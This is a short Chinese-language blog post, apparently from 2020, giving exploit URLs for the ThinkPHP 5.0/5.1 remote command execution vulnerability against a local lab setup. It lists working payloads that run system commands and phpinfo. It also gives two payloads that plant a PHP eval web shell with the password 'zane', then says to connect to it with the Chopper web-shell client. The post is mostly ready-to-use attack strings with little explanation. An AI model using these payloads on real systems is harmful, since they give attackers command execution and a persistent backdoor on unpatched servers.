ThinkPHP 漏洞利用

ThinkPHP

thinkphp_5x_命令执行漏洞

受影响版本包括5.0和5.1版本

docker漏洞环境源码:
https://github.com/vulnspy/thinkphp-5.1.29
本地环境搭建:
thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/1125.html

利用system函数远程命令执行

EXP
http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

通过phpinfo函数写出phpinfo()信息

EXP:
http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写入shell

http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST["zane"])?^>>shell.php

或者

http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=FUCK<?php @eval($_POST["zane"])?>

使用菜刀连接
`
http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/shell.php 密码为zane

http://127.0.0.1/middleware/thinkphp_5.0.15_full/test.php 密码为zane
`

posted @ 2020-05-02 15:33  Zane_S  阅读(1243)  评论(0编辑  收藏